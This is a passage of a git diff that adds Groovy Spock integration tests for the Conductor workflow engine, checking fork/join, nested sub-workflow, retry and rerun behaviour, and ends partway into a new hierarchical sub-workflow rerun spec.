workflowTestUtil.pollAndCompleteTask('integration_task_16', 'task16.worker') + def polledAndAckTask14Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_14', 'task14.worker') + + then: "verify that tasks 'integration_task_16' and 'integration_task_14'were polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask16Try1) + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask14Try1) + + and: "verify the state of the workflow" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 11 + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.IN_PROGRESS + tasks[5].inputData['joinOn'] == ['t14', 't20'] + + tasks[6].taskType == 'JOIN' + tasks[6].status == Task.Status.IN_PROGRESS + tasks[6].inputData['joinOn'] == ['t11', 'join2'] + + tasks[7].taskType == 'integration_task_14' + tasks[7].status == Task.Status.COMPLETED + tasks[8].taskType == 'DECISION' + tasks[8].status == Task.Status.COMPLETED + tasks[9].taskType == 'integration_task_16' + tasks[9].status == Task.Status.COMPLETED + tasks[10].taskType == 'integration_task_19' + tasks[10].status == Task.Status.SCHEDULED + } + + when: "Poll and Complete tasks: 'integration_task_19'" + def polledAndAckTask19Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_19', 'task19.worker') + + then: "verify that tasks 'integration_task_19' polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask19Try1) + + and: "verify the state of the workflow" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 12 + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.IN_PROGRESS + tasks[5].inputData['joinOn'] == ['t14', 't20'] + tasks[6].taskType == 'JOIN' + tasks[6].status == Task.Status.IN_PROGRESS + tasks[6].inputData['joinOn'] == ['t11', 'join2'] + tasks[10].taskType == 'integration_task_19' + tasks[10].status == Task.Status.COMPLETED + tasks[11].taskType == 'integration_task_20' + tasks[11].status == Task.Status.SCHEDULED + } + + when: "Poll and Complete tasks: 'integration_task_20'" + def polledAndAckTask20Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_20', 'task20.worker') + + and: "workflow is evaluated" + sweep(workflowInstanceId) + + then: "verify that task 'integration_task_20' is polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask20Try1) + + when: "JOIN tasks are executed" + asyncSystemTaskExecutor.execute(joinTask, innerJoinId) + asyncSystemTaskExecutor.execute(joinTask, outerJoinId) + + then: "verify the state of the workflow" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 13 + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.COMPLETED + tasks[5].inputData['joinOn'] == ['t14', 't20'] + tasks[6].taskType == 'JOIN' + tasks[6].status == Task.Status.COMPLETED + tasks[6].inputData['joinOn'] == ['t11', 'join2'] + tasks[11].taskType == 'integration_task_20' + tasks[11].status == Task.Status.COMPLETED + tasks[12].taskType == 'integration_task_15' + tasks[12].status == Task.Status.SCHEDULED + } + + when: "Poll and Complete tasks: 'integration_task_15'" + def polledAndAckTask15Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_15', 'task15.worker') + + then: "verify that tasks 'integration_task_15' polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask15Try1) + + and: "verify that the workflow is in a complete state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 13 + tasks[12].taskType == 'integration_task_15' + tasks[12].status == Task.Status.COMPLETED + } + } + + def "Test nested workflow which contains a sub workflow task"() { + given: "Input for the nested fork join workflow" + Map input = new HashMap() + input["case"] = "a" + + when: "A nested workflow is started with the input" + def workflowInstanceId = startWorkflow(FORK_JOIN_NESTED_SUB_WF, 1, + 'fork_join_nested_test', input, + null) + + then: "The workflow is in the running state" + def nestedSubWfTask = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (nestedSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, nestedSubWfTask.taskId) + } + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 8 + tasks.findAll { it.referenceTaskName in ['t11', 't12', 't13', 'fork1', 'fork2', 'sw1'] }.size() == 6 + tasks.findAll { it.referenceTaskName in ['t1', 't2', 't16'] }.size() == 0 + tasks[0].taskType == 'FORK' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_11' + tasks[1].status == Task.Status.SCHEDULED + tasks[2].taskType == 'FORK' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_12' + tasks[3].status == Task.Status.SCHEDULED + tasks[4].taskType == 'integration_task_13' + tasks[4].status == Task.Status.SCHEDULED + + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.IN_PROGRESS + tasks[5].inputData['joinOn'] == ['t14', 't20'] + + tasks[6].taskType == 'SUB_WORKFLOW' + tasks[6].status == Task.Status.IN_PROGRESS + tasks[7].taskType == 'JOIN' + tasks[7].status == Task.Status.IN_PROGRESS + tasks[7].inputData['joinOn'] == ['t11', 'join2', 'sw1'] + + } + + when: "Poll and Complete tasks: 'integration_task_11', 'integration_task_12' and 'integration_task_13'" + def outerJoinId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("join1").getTaskId() + def innerJoinId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("join2").getTaskId() + def polledAndAckTask11Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_11', 'task11.worker') + def polledAndAckTask12Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_12', 'task12.worker') + def polledAndAckTask13Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_13', 'task13.worker') + workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + + + then: "verify that tasks 'integration_task_11', 'integration_task_12' and 'integration_task_13' were polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask11Try1) + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask12Try1) + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask13Try1) + + and: "verify the state of the workflow" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 11 + tasks[0].taskType == 'FORK' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_11' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'FORK' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_12' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_13' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.IN_PROGRESS + tasks[5].inputData['joinOn'] == ['t14', 't20'] + + tasks[6].taskType == 'SUB_WORKFLOW' + tasks[6].status == Task.Status.IN_PROGRESS + tasks[7].taskType == 'JOIN' + tasks[7].status == Task.Status.IN_PROGRESS + tasks[7].inputData['joinOn'] == ['t11', 'join2', 'sw1'] + tasks[8].taskType == 'integration_task_14' + tasks[8].status == Task.Status.SCHEDULED + tasks[9].taskType == 'DECISION' + tasks[9].status == Task.Status.COMPLETED + tasks[10].taskType == 'integration_task_16' + tasks[10].status == Task.Status.SCHEDULED + } + + when: "Poll and Complete tasks: 'integration_task_16' and 'integration_task_14'" + def polledAndAckTask16Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_16', 'task16.worker') + def polledAndAckTask14Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_14', 'task14.worker') + + and: "Get the sub workflow id associated with the SubWorkflow Task sw1 and start the system task" + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + def updatedWorkflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + def subWorkflowInstanceId = updatedWorkflow.getTaskByRefName('sw1').subWorkflowId + + then: "verify that tasks 'integration_task_16' and 'integration_task_14'were polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask16Try1) + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask14Try1) + with(updatedWorkflow) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 12 + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.IN_PROGRESS + tasks[5].inputData['joinOn'] == ['t14', 't20'] + tasks[6].taskType == 'SUB_WORKFLOW' + tasks[6].status == Task.Status.IN_PROGRESS + tasks[7].taskType == 'JOIN' + tasks[7].status == Task.Status.IN_PROGRESS + tasks[7].inputData['joinOn'] == ['t11', 'join2', 'sw1'] + tasks[8].taskType == 'integration_task_14' + tasks[8].status == Task.Status.COMPLETED + tasks[9].taskType == 'DECISION' + tasks[9].status == Task.Status.COMPLETED + tasks[10].taskType == 'integration_task_16' + tasks[10].status == Task.Status.COMPLETED + tasks[11].taskType == 'integration_task_19' + tasks[11].status == Task.Status.SCHEDULED + } + + and: "verify that the simple Sub Workflow is in running state and the first task related to it is scheduled" + sweep(subWorkflowInstanceId) + with(workflowExecutionService.getExecutionStatus(subWorkflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "Poll and complete all the tasks associated with the sub workflow" + def polledAndAckTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.worker') + def polledAndAckTask2Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.worker') + + then: "verify that tasks 'integration_task_1' and 'integration_task_2'were polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask1Try1) + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask2Try1) + + and: "verify that the simple Sub Workflow is in a COMPLETED state" + with(workflowExecutionService.getExecutionStatus(subWorkflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + and: " verify that the sub workflow task is completed and other preceding tasks are added to the workflow task list" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 12 + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.IN_PROGRESS + tasks[5].inputData['joinOn'] == ['t14', 't20'] + tasks[6].taskType == 'SUB_WORKFLOW' + tasks[6].status == Task.Status.COMPLETED + tasks[7].taskType == 'JOIN' + tasks[7].status == Task.Status.IN_PROGRESS + tasks[7].inputData['joinOn'] == ['t11', 'join2', 'sw1'] + tasks[11].taskType == 'integration_task_19' + tasks[11].status == Task.Status.SCHEDULED + } + + when: "Also the poll and complete the 'integration_task_19'" + def polledAndAckTask19Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_19', 'task19.worker') + + then: "verify that the task was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask19Try1) + + and: "verify that the integration_task_19 is completed and the next task is scheduled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 13 + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.IN_PROGRESS + tasks[5].inputData['joinOn'] == ['t14', 't20'] + tasks[7].taskType == 'JOIN' + tasks[7].status == Task.Status.IN_PROGRESS + tasks[7].inputData['joinOn'] == ['t11', 'join2', 'sw1'] + tasks[11].taskType == 'integration_task_19' + tasks[11].status == Task.Status.COMPLETED + tasks[12].taskType == 'integration_task_20' + tasks[12].status == Task.Status.SCHEDULED + } + + when: "poll and complete the 'integration_task_20'" + def polledAndAckTask20Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_20', 'task20.worker') + + and: "workflow is evaluated" + sweep(workflowInstanceId) + + then: "verify that the task was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask20Try1) + + when: "JOIN tasks are executed" + asyncSystemTaskExecutor.execute(joinTask, innerJoinId) + asyncSystemTaskExecutor.execute(joinTask, outerJoinId) + + then: "verify that the integration_task_20 is completed and the next task is scheduled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 14 + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.COMPLETED + tasks[5].inputData['joinOn'] == ['t14', 't20'] + + tasks[7].taskType == 'JOIN' + tasks[7].status == Task.Status.COMPLETED + tasks[7].inputData['joinOn'] == ['t11', 'join2', 'sw1'] + + tasks[12].taskType == 'integration_task_20' + tasks[12].status == Task.Status.COMPLETED + tasks[13].taskType == 'integration_task_15' + tasks[13].status == Task.Status.SCHEDULED + } + + when: "poll and complete the 'integration_task_15'" + def polledAndAckTask15Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_15', 'task15.worker') + + then: "verify that the task was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask15Try1) + + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 14 + tasks[13].taskType == 'integration_task_15' + tasks[13].status == Task.Status.COMPLETED + } + } + + def "Test fork join with sub workflows containing optional tasks"() { + given: "A input to the workflow that has forks of sub workflows with an optional task" + Map workflowInput = new HashMap() + workflowInput['param1'] = 'p1 value' + workflowInput['param2'] = 'p2 value' + + when: "A workflow that has forks of sub workflows with an optional task is started" + def workflowInstanceId = startWorkflow(WORKFLOW_FORK_JOIN_OPTIONAL_SW, 1, + '', workflowInput, + null) + + then: "verify that the workflow is in a running state" + def scheduledSubWfTasks = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + .tasks.findAll { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + scheduledSubWfTasks.each { asyncSystemTaskExecutor.execute(subWorkflowTask, it.taskId) } + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == 'FORK' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'SUB_WORKFLOW' + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'SUB_WORKFLOW' + tasks[2].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + tasks[3].status == Task.Status.IN_PROGRESS + } + + when: "both the sub workflows are started by issuing a system task call" + def workflowWithScheduledSubWorkflows = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + def joinTaskId = workflowWithScheduledSubWorkflows.getTaskByRefName("fanouttask_join").taskId + def st1SubWfId = workflowWithScheduledSubWorkflows.getTaskByRefName('st1').subWorkflowId + def st2SubWfId = workflowWithScheduledSubWorkflows.getTaskByRefName('st2').subWorkflowId + sweep(st1SubWfId) + sweep(st2SubWfId) + + then: "verify that the sub workflow tasks are in a IN PROGRESS state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[1].taskType == 'SUB_WORKFLOW' + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'SUB_WORKFLOW' + tasks[2].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + tasks[3].inputData['joinOn'] == ['st1', 'st2'] + tasks[3].status == Task.Status.IN_PROGRESS + } + + and: "Also verify that the sub workflows are in a RUNNING state" + def workflowWithRunningSubWorkflows = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + def subWorkflowInstanceId1 = workflowWithRunningSubWorkflows.getTaskByRefName('st1').subWorkflowId + with(workflowExecutionService.getExecutionStatus(subWorkflowInstanceId1, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].status == Task.Status.SCHEDULED + tasks[0].taskType == 'simple_task_in_sub_wf' + } + + def subWorkflowInstanceId2 = workflowWithRunningSubWorkflows.getTaskByRefName('st2').subWorkflowId + with(workflowExecutionService.getExecutionStatus(subWorkflowInstanceId2, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].status == Task.Status.SCHEDULED + tasks[0].taskType == 'simple_task_in_sub_wf' + } + + when: "The 'simple_task_in_sub_wf' belonging to both the sub workflows is polled and failed" + def polledAndAckSubWorkflowTask1 = workflowTestUtil.pollAndFailTask('simple_task_in_sub_wf', + 'task1.worker', 'Failed....') + def polledAndAckSubWorkflowTask2 = workflowTestUtil.pollAndFailTask('simple_task_in_sub_wf', + 'task1.worker', 'Failed....') + + then: "verify that both the tasks were polled and failed" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckSubWorkflowTask1) + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckSubWorkflowTask2) + + and: "verify that both the sub workflows are in failed state" + with(workflowExecutionService.getExecutionStatus(subWorkflowInstanceId1, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 1 + tasks[0].status == Task.Status.FAILED + tasks[0].taskType == 'simple_task_in_sub_wf' + } + + with(workflowExecutionService.getExecutionStatus(subWorkflowInstanceId2, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 1 + tasks[0].status == Task.Status.FAILED + tasks[0].taskType == 'simple_task_in_sub_wf' + } + sweep(workflowInstanceId) + + when: "JOIN task is executed" + asyncSystemTaskExecutor.execute(joinTask, joinTaskId) + + then: "verify that the workflow is in a COMPLETED state and the join task is also marked as COMPLETED_WITH_ERRORS" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 4 + tasks[0].taskType == 'FORK' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'SUB_WORKFLOW' + tasks[1].status == Task.Status.COMPLETED_WITH_ERRORS + tasks[2].taskType == 'SUB_WORKFLOW' + tasks[2].status == Task.Status.COMPLETED_WITH_ERRORS + tasks[3].taskType == 'JOIN' + tasks[3].status == Task.Status.COMPLETED_WITH_ERRORS + } + + when: "do a rerun on the sub workflow" + def reRunSubWorkflowRequest = new RerunWorkflowRequest() + reRunSubWorkflowRequest.reRunFromWorkflowId = subWorkflowInstanceId1 + workflowExecutor.rerun(reRunSubWorkflowRequest) + + then: "verify that the sub workflows are in a RUNNING state" + with(workflowExecutionService.getExecutionStatus(subWorkflowInstanceId1, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].status == Task.Status.SCHEDULED + tasks[0].taskType == 'simple_task_in_sub_wf' + } + + and: "parent workflow remains the same" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 4 + tasks[0].taskType == 'FORK' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'SUB_WORKFLOW' + tasks[1].status == Task.Status.COMPLETED_WITH_ERRORS + tasks[2].taskType == 'SUB_WORKFLOW' + tasks[2].status == Task.Status.COMPLETED_WITH_ERRORS + tasks[3].taskType == 'JOIN' + tasks[3].status == Task.Status.COMPLETED_WITH_ERRORS + } + } + + def "Test fork join with sub workflow task using task definition"() { + given: "A input to the workflow that has fork with sub workflow task" + Map workflowInput = new HashMap() + workflowInput['param1'] = 'p1 value' + workflowInput['param2'] = 'p2 value' + + when: "A workflow that has fork with sub workflow task is started" + def workflowInstanceId = startWorkflow(FORK_JOIN_SUB_WORKFLOW, 1, '', workflowInput, null) + + then: "verify that the workflow is in a RUNNING state" + def forkSubWfTask = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (forkSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, forkSubWfTask.taskId) + } + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == 'FORK' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'SUB_WORKFLOW' + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[3].taskType == 'JOIN' + tasks[3].inputData['joinOn'] == ['st1', 't2'] + tasks[3].status == Task.Status.IN_PROGRESS + } + + when: "the subworkflow is started by issuing a system task call" + def parentWorkflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + def subWorkflowTaskId = parentWorkflow.getTaskByRefName('st1').taskId + def jointaskId = parentWorkflow.getTaskByRefName("fanouttask_join").taskId + + then: "verify that the sub workflow task is in a IN_PROGRESS state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == 'FORK' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'SUB_WORKFLOW' + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[3].taskType == 'JOIN' + tasks[3].inputData['joinOn'] == ['st1', 't2'] + tasks[3].status == Task.Status.IN_PROGRESS + } + + when: "sub workflow is retrieved" + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + def subWorkflowInstanceId = workflow.getTaskByRefName('st1').subWorkflowId + sweep(subWorkflowInstanceId) + + then: "verify that the sub workflow is in a RUNNING state" + with(workflowExecutionService.getExecutionStatus(subWorkflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].status == Task.Status.SCHEDULED + tasks[0].taskType == 'simple_task_in_sub_wf' + } + + when: "the 'simple_task_in_sub_wf' belonging to the sub workflow is polled and failed" + def polledAndFailSubWorkflowTask = workflowTestUtil.pollAndFailTask('simple_task_in_sub_wf', + 'task1.worker', 'Failed....') + + then: "verify that the task was polled and failed" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndFailSubWorkflowTask) + + and: "verify that the sub workflow is in failed state" + with(workflowExecutionService.getExecutionStatus(subWorkflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 1 + tasks[0].status == Task.Status.FAILED + tasks[0].taskType == 'simple_task_in_sub_wf' + } + + and: "verify that the workflow is in a RUNNING state and sub workflow task is retried" + sweep(workflowInstanceId) + // The background sweeper may have already consumed the retry task from the queue. + // Look up the retry task directly from workflow state and start it only if still SCHEDULED. + def retriedTask = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.retryCount == 1 } + if (retriedTask?.status == Task.Status.SCHEDULED) { + asyncSystemTaskExecutor.execute(subWorkflowTask, retriedTask.taskId) + } + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].taskType == 'FORK' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'SUB_WORKFLOW' + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[3].taskType == 'JOIN' + tasks[3].inputData['joinOn'] == ['st1', 't2'] + tasks[3].status == Task.Status.IN_PROGRESS + tasks[4].taskType == 'SUB_WORKFLOW' + tasks[4].status == Task.Status.IN_PROGRESS + } + + when: "the sub workflow is started by issuing a system task call" + parentWorkflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + subWorkflowTaskId = parentWorkflow.getTaskByRefName('st1').taskId + + then: "verify that the sub workflow task is in a IN PROGRESS state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].taskType == 'FORK' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'SUB_WORKFLOW' + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[3].taskType == 'JOIN' + tasks[3].inputData['joinOn'] == ['st1', 't2'] + tasks[3].status == Task.Status.IN_PROGRESS + tasks[4].taskType == 'SUB_WORKFLOW' + tasks[4].status == Task.Status.IN_PROGRESS + } + + when: "sub workflow is retrieved" + workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + subWorkflowInstanceId = workflow.getTaskByRefName('st1').subWorkflowId + sweep(subWorkflowInstanceId) + + then: "verify that the sub workflow is in a RUNNING state" + with(workflowExecutionService.getExecutionStatus(subWorkflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].status == Task.Status.SCHEDULED + tasks[0].taskType == 'simple_task_in_sub_wf' + } + + when: "the 'simple_task_in_sub_wf' belonging to the sub workflow is polled and completed" + def polledAndCompletedSubWorkflowTask = workflowTestUtil.pollAndCompleteTask('simple_task_in_sub_wf', 'subworkflow.task.worker') + + then: "verify that the task was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndCompletedSubWorkflowTask) + + and: "verify that the sub workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(subWorkflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 1 + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'simple_task_in_sub_wf' + } + + and: "verify that the workflow is in a RUNNING state and sub workflow task is completed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].taskType == 'FORK' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'SUB_WORKFLOW' + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[3].taskType == 'JOIN' + tasks[3].inputData['joinOn'] == ['st1', 't2'] + tasks[3].status == Task.Status.IN_PROGRESS + tasks[4].taskType == 'SUB_WORKFLOW' + tasks[4].status == Task.Status.COMPLETED + } + + when: "the simple task is polled and completed" + def polledAndCompletedSimpleTask = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.worker') + + and: "workflow is evaluated" + sweep(workflowInstanceId) + + then: "verify that the task was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndCompletedSimpleTask) + + when: "JOIN task is executed" + asyncSystemTaskExecutor.execute(joinTask, jointaskId) + + then: "verify that the workflow is in a COMPLETED state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 5 + tasks[0].taskType == 'FORK' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'SUB_WORKFLOW' + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'JOIN' + tasks[3].inputData['joinOn'] == ['st1', 't2'] + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'SUB_WORKFLOW' + tasks[4].status == Task.Status.COMPLETED + } + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/HierarchicalForkJoinSubworkflowRerunSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/HierarchicalForkJoinSubworkflowRerunSpec.groovy new file mode 100644 index 0000000..bd9afb1 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/HierarchicalForkJoinSubworkflowRerunSpec.groovy @@ -0,0 +1,569 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import java.util.concurrent.TimeUnit + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.metadata.workflow.RerunWorkflowRequest +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.execution.tasks.Join +import com.netflix.conductor.core.execution.tasks.SubWorkflow +import com.netflix.conductor.test.base.AbstractSpecification + +import spock.lang.Shared + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_FORK +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_JOIN +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SUB_WORKFLOW +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedTask + +import static org.awaitility.Awaitility.await + +class HierarchicalForkJoinSubworkflowRerunSpec extends AbstractSpecification { + + @Shared + def FORK_JOIN_HIERARCHICAL_SUB_WF = 'hierarchical_fork_join_swf' + + @Shared + def SIMPLE_WORKFLOW = "integration_test_wf" + + @Autowired + SubWorkflow subWorkflowTask + + @Autowired + Join joinTask + + String rootWorkflowId, midLevelWorkflowId, leafWorkflowId + + TaskDef 